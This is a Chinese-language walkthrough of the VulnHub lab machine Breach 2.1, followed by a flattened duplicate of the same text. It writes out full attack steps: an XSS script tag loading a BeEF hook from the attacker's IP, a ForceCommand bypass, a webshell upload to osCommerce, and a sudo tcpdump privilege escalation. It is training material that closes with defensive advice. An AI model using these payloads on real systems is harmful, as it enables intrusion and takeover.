【vulnhub靶机】Breach系列 之 Breach:2.1
字数 1317 2025-08-20 18:17:41

Breach 2.1 靶机渗透测试教学文档

1. 环境配置

1.1 网络配置

  1. 为靶机新建虚拟网卡
  2. 将靶机和攻击机都放入该网段
  3. 攻击机网络配置检查:
    • 确认是否存在 eth1(对应新增网卡)
    • 如果没有,重新获取IP:sudo dhclient eth1
    • 或者手动分配IP:
      sudo ip addr add 192.168.110.X/24 dev eth1
      sudo ip link set eth1 up
      

1.2 主机发现

使用以下命令进行主机发现(注意指定网卡):

arp-scan -I eth1 -l

netdiscover -i eth1 -r 192.168.110.0/24

2. 初始信息收集

2.1 端口扫描

使用Nmap进行扫描:

nmap -sV -sS -T4 -p- 192.168.110.151

发现开放端口:

  • 65535/tcp - SSH
  • 80/tcp - HTTP(仅在SSH登录后开放)

3. SSH服务分析

3.1 SSH连接尝试

尝试连接SSH:

ssh root@192.168.110.151 -p 65535

发现实际用户名为peter:

ssh peter@192.168.110.151 -p 65535

密码:inthesource

3.2 SSH连接后立即断开问题

分析原因:

  1. 检查SSH配置文件:

    /etc/ssh/sshd_config
    

    关键配置:

    UsePAM yes
    AllowUsers peter
    ForceCommand /usr/bin/startme
    AddressFamily inet
    
  2. /usr/bin/startme内容:

    #!/bin/bash
    sudo /etc/init.d/apache2 start &> /dev/null
    

3.3 绕过ForceCommand限制

解决方法:

  1. 使用已获得的shell执行:
    echo "exec sh" > .bashrc
    
  2. 重新连接SSH

4. Web应用渗透

4.1 网站分析

  1. 访问80端口
  2. 查看源代码,发现注释信息
  3. 目录扫描发现/blog目录
  4. 发现网站由BlogPHP支持(www.blogphp.net)

4.2 XSS漏洞利用

  1. 注册页面:http://192.168.110.151/blog/register.html
  2. 在username字段注入XSS payload:
    <script src="http://<攻击机IP>:3001/hook.js"></script>
    
  3. 使用BeEF XSS框架接收会话

注意:确保BeEF监听地址与靶机在同一网段

5. 提权路径

5.1 本地端口发现

发现隐藏端口:

telnet 127.0.0.1 2323

返回坐标:29 45'46" N 95 22'59" W(Houston城市)

5.2 登录隐藏服务

使用凭据:

  • 用户名:milton
  • 密码:houston

5.3 交互式问答

  1. 问题:"Whose stapler is it?"
  2. 正确答案:"mine"(来自/usr/local/bin/cd.py分析)

5.4 发现新服务

开放端口:8888/tcp(osCommerce)

5.5 osCommerce渗透

  1. 后台管理地址:/admin

  2. 弱密码:admin/admin

  3. 查找可写目录:

    find /var/www/html2/oscommerce -perm -o=w
    

    发现:/var/www/html2/oscommerce/includes/work

  4. 上传Webshell并访问

6. 最终提权

6.1 sudo权限检查

发现milton用户可以无密码使用tcpdump:

sudo -l

6.2 tcpdump提权方法

参考步骤:

  1. 创建恶意脚本:
    echo '#!/bin/bash\n/bin/bash' > /tmp/test
    chmod +x /tmp/test
    
  2. 设置PATH环境变量:
    export PATH=/tmp:$PATH
    
  3. 执行tcpdump:
    sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z test -Z root
    

7. 关键知识点总结

  1. ForceCommand绕过:通过修改.bashrc添加exec sh命令
  2. 隐藏服务发现:检查本地回环端口(127.0.0.1)
  3. 交互式服务利用:分析Python脚本确定正确答案
  4. Web应用渗透
    • BlogPHP的XSS漏洞
    • osCommerce的文件上传漏洞
  5. 提权技术
    • sudo tcpdump提权
    • 环境变量劫持

8. 防御建议

  1. 限制SSH的ForceCommand功能
  2. 避免使用弱密码
  3. 限制Web目录的写权限
  4. 谨慎配置sudo权限
  5. 及时更新易受攻击的Web应用
Breach 2.1 靶机渗透测试教学文档 1. 环境配置 1.1 网络配置 为靶机新建虚拟网卡 将靶机和攻击机都放入该网段 攻击机网络配置检查: 确认是否存在 eth1(对应新增网卡) 如果没有,重新获取IP: sudo dhclient eth1 或者手动分配IP: 1.2 主机发现 使用以下命令进行主机发现(注意指定网卡): 或 2. 初始信息收集 2.1 端口扫描 使用Nmap进行扫描: 发现开放端口: 65535/tcp - SSH 80/tcp - HTTP(仅在SSH登录后开放) 3. SSH服务分析 3.1 SSH连接尝试 尝试连接SSH: 发现实际用户名为peter: 密码: inthesource 3.2 SSH连接后立即断开问题 分析原因: 检查SSH配置文件: 关键配置: /usr/bin/startme 内容: 3.3 绕过ForceCommand限制 解决方法: 使用已获得的shell执行: 重新连接SSH 4. Web应用渗透 4.1 网站分析 访问80端口 查看源代码,发现注释信息 目录扫描发现/blog目录 发现网站由BlogPHP支持(www.blogphp.net) 4.2 XSS漏洞利用 注册页面: http://192.168.110.151/blog/register.html 在username字段注入XSS payload: 使用BeEF XSS框架接收会话 注意:确保BeEF监听地址与靶机在同一网段 5. 提权路径 5.1 本地端口发现 发现隐藏端口: 返回坐标: 29 45'46" N 95 22'59" W (Houston城市) 5.2 登录隐藏服务 使用凭据: 用户名:milton 密码:houston 5.3 交互式问答 问题:"Whose stapler is it?" 正确答案:"mine"(来自/usr/local/bin/cd.py分析) 5.4 发现新服务 开放端口:8888/tcp(osCommerce) 5.5 osCommerce渗透 后台管理地址: /admin 弱密码:admin/admin 查找可写目录: 发现: /var/www/html2/oscommerce/includes/work 上传Webshell并访问 6. 最终提权 6.1 sudo权限检查 发现milton用户可以无密码使用tcpdump: 6.2 tcpdump提权方法 参考步骤: 创建恶意脚本: 设置PATH环境变量: 执行tcpdump: 7. 关键知识点总结 ForceCommand绕过 :通过修改.bashrc添加exec sh命令 隐藏服务发现 :检查本地回环端口(127.0.0.1) 交互式服务利用 :分析Python脚本确定正确答案 Web应用渗透 : BlogPHP的XSS漏洞 osCommerce的文件上传漏洞 提权技术 : sudo tcpdump提权 环境变量劫持 8. 防御建议 限制SSH的ForceCommand功能 避免使用弱密码 限制Web目录的写权限 谨慎配置sudo权限 及时更新易受攻击的Web应用